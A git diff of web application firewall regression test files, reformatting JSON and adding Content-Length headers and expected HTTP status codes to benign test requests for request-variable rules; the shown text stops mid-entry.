@@ -1,87 +1,89 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_HEADERS_NAMES", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_HEADERS_NAMES", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "523", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"Host\" \\(Variable: REQUEST_HEADERS_NAMES:Host\\)" + "expected": { + "debug_log": "Target value: \"Host\" \\(Variable: REQUEST_HEADERS_NAMES:Host\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS_NAMES \"@contains small_text_file.txt\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_HEADERS_NAMES", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_HEADERS_NAMES", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "493", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ + "uri": "/", + "method": "POST", + "body": [ "--------------------------756b6d74fa1a8ee2", "Content-Disposition: form-data; name=\"name\"", "", @@ -99,48 +101,50 @@ "--------------------------756b6d74fa1a8ee2--" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"User-Agent\" \\(Variable: REQUEST_HEADERS_NAMES:User-Agent\\)" + "expected": { + "debug_log": "Target value: \"User-Agent\" \\(Variable: REQUEST_HEADERS_NAMES:User-Agent\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS_NAMES \"@contains small_text_file.txt\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_HEADERS_NAMES", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_HEADERS_NAMES", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "493", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ + "uri": "/", + "method": "POST", + "body": [ "--------------------------756b6d74fa1a8ee2", "Content-Disposition: form-data; name=\"name\"", "", @@ -158,48 +162,50 @@ "--------------------------756b6d74fa1a8ee2--" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"Accept\" \\(Variable: REQUEST_HEADERS_NAMES:Accept\\)" + "expected": { + "debug_log": "Target value: \"Accept\" \\(Variable: REQUEST_HEADERS_NAMES:Accept\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS_NAMES \"@contains small_text_file.txt\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_HEADERS_NAMES", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_HEADERS_NAMES", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "493", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ + "uri": "/", + "method": "POST", + "body": [ "--------------------------756b6d74fa1a8ee2", "Content-Disposition: form-data; name=\"name\"", "", @@ -217,48 +223,50 @@ "--------------------------756b6d74fa1a8ee2--" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"Content-Length\" \\(Variable: REQUEST_HEADERS_NAMES:Content-Length\\)" + "expected": { + "debug_log": "Target value: \"Content-Length\" \\(Variable: REQUEST_HEADERS_NAMES:Content-Length\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS_NAMES \"@contains small_text_file.txt\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_HEADERS_NAMES", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_HEADERS_NAMES", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "493", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ + "uri": "/", + "method": "POST", + "body": [ "--------------------------756b6d74fa1a8ee2", "Content-Disposition: form-data; name=\"name\"", "", @@ -276,48 +284,50 @@ "--------------------------756b6d74fa1a8ee2--" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"Content-Type\" \\(Variable: REQUEST_HEADERS_NAMES:Content-Type\\)" + "expected": { + "debug_log": "Target value: \"Content-Type\" \\(Variable: REQUEST_HEADERS_NAMES:Content-Type\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS_NAMES \"@contains small_text_file.txt\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_HEADERS_NAMES", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_HEADERS_NAMES", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "493", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ + "uri": "/", + "method": "POST", + "body": [ "--------------------------756b6d74fa1a8ee2", "Content-Disposition: form-data; name=\"name\"", "", @@ -335,20 +345,22 @@ "--------------------------756b6d74fa1a8ee2--" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"Expect\" \\(Variable: REQUEST_HEADERS_NAMES:Expect\\)" + "expected": { + "debug_log": "Target value: \"Expect\" \\(Variable: REQUEST_HEADERS_NAMES:Expect\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS_NAMES \"@contains small_text_file.txt\" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-REQUEST_LINE.json b/test/test-cases/regression/variable-REQUEST_LINE.json index 586f0c312f..8c0aa65131 100644 --- a/test/test-cases/regression/variable-REQUEST_LINE.json +++ b/test/test-cases/regression/variable-REQUEST_LINE.json @@ -1,123 +1,138 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_LINE", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_LINE", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET", - "http_version":1.1 + "uri": "/?key=value&key=other_value", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"GET /\\?key=value\\&key=other_value HTTP/1.1\" \\(Variable: REQUEST_LINE\\)" + "expected": { + "debug_log": "Target value: \"GET /\\?key=value\\&key=other_value HTTP/1.1\" \\(Variable: REQUEST_LINE\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_LINE \"@contains test \" \"id:1,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_LINE (with URI fragment)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_LINE (with URI fragment)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value#urifrag", - "method":"GET", - "http_version":1.1 + "uri": "/?key=value&key=other_value#urifrag", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_LINE \"@contains urifrag\" \"id:1,phase:1,deny,status:403\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_URI_RAW (with URI fragment)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_URI_RAW (with URI fragment)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/one/two/testpost.php#urifrag", - "method":"GET", - "http_version":1.1 + "uri": "/one/two/testpost.php#urifrag", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_URI_RAW \"@contains urifrag\" \"id:1,phase:1,deny,status:403\"" ] } ] - diff --git a/test/test-cases/regression/variable-REQUEST_METHOD.json b/test/test-cases/regression/variable-REQUEST_METHOD.json index 2a9b609b17..433f5513b3 100644 --- a/test/test-cases/regression/variable-REQUEST_METHOD.json +++ b/test/test-cases/regression/variable-REQUEST_METHOD.json @@ -1,43 +1,48 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_METHOD", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_METHOD", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET", - "http_version":1.1 + "uri": "/?key=value&key=other_value", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"GET\" \\(Variable: REQUEST_METHOD\\)" + "expected": { + "debug_log": "Target value: \"GET\" \\(Variable: REQUEST_METHOD\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_METHOD \"@contains test \" \"id:1,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-REQUEST_PROTOCOL.json b/test/test-cases/regression/variable-REQUEST_PROTOCOL.json index e5a53de7b9..6902f6da70 100644 --- a/test/test-cases/regression/variable-REQUEST_PROTOCOL.json +++ b/test/test-cases/regression/variable-REQUEST_PROTOCOL.json @@ -1,43 +1,48 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_PROTOCOL", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_PROTOCOL", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET", - "http_version":1.1 + "uri": "/?key=value&key=other_value", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"HTTP/1.1\" \\(Variable: REQUEST_PROTOCOL\\)" + "expected": { + "debug_log": "Target value: \"HTTP/1.1\" \\(Variable: REQUEST_PROTOCOL\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_PROTOCOL \"@contains test \" \"id:1,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-REQUEST_URI.json b/test/test-cases/regression/variable-REQUEST_URI.json index 795ce29b6c..9a46149749 100644 --- a/test/test-cases/regression/variable-REQUEST_URI.json +++ b/test/test-cases/regression/variable-REQUEST_URI.json @@ -1,123 +1,138 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_URI", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_URI", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET", - "http_version":1.1 + "uri": "/?key=value&key=other_value", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"/\\?key=value\\&key=other_value\" \\(Variable: REQUEST_URI\\)" + "expected": { + "debug_log": "Target value: \"/\\?key=value\\&key=other_value\" \\(Variable: REQUEST_URI\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_URI \"@contains test \" \"id:1,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_URI (with URI fragment)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_URI (with URI fragment)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value#urifrag", - "method":"GET", - "http_version":1.1 + "uri": "/?key=value&key=other_value#urifrag", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_URI \"!@contains urifrag\" \"id:1,phase:1,deny,status:403\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_URI (with URI fragment)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_URI (with URI fragment)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/one/two/testpost.php#urifrag", - "method":"GET", - "http_version":1.1 + "uri": "/one/two/testpost.php#urifrag", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_URI \"!@contains urifrag\" \"id:1,phase:1,deny,status:403\"" ] } ] - diff --git a/test/test-cases/regression/variable-REQUEST_URI_RAW.json b/test/test-cases/regression/variable-REQUEST_URI_RAW.json index 09fff33cd3..04fea01970 100644 --- a/test/test-cases/regression/variable-REQUEST_URI_RAW.json +++ b/test/test-cases/regression/variable-REQUEST_URI_RAW.json @@ -1,123 +1,138 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_URI_RAW", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_URI_RAW", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET", - "http_version":1.1 + "uri": "/?key=value&key=other_value", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"/\\?key=value\\&key=other_value\" \\(Variable: REQUEST_URI_RAW\\)" + "expected": { + "debug_log": "Target value: \"/\\?key=value\\&key=other_value\" \\(Variable: REQUEST_URI_RAW\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_URI_RAW \"@contains test \" \"id:1,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_URI_RAW (with URI fragment)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_URI_RAW (with URI fragment)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value#urifrag", - "method":"GET", - "http_version":1.1 + "uri": "/?key=value&key=other_value#urifrag", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_URI_RAW \"@contains urifrag\" \"id:1,phase:1,deny,status:403\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_URI_RAW (with URI fragment)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: 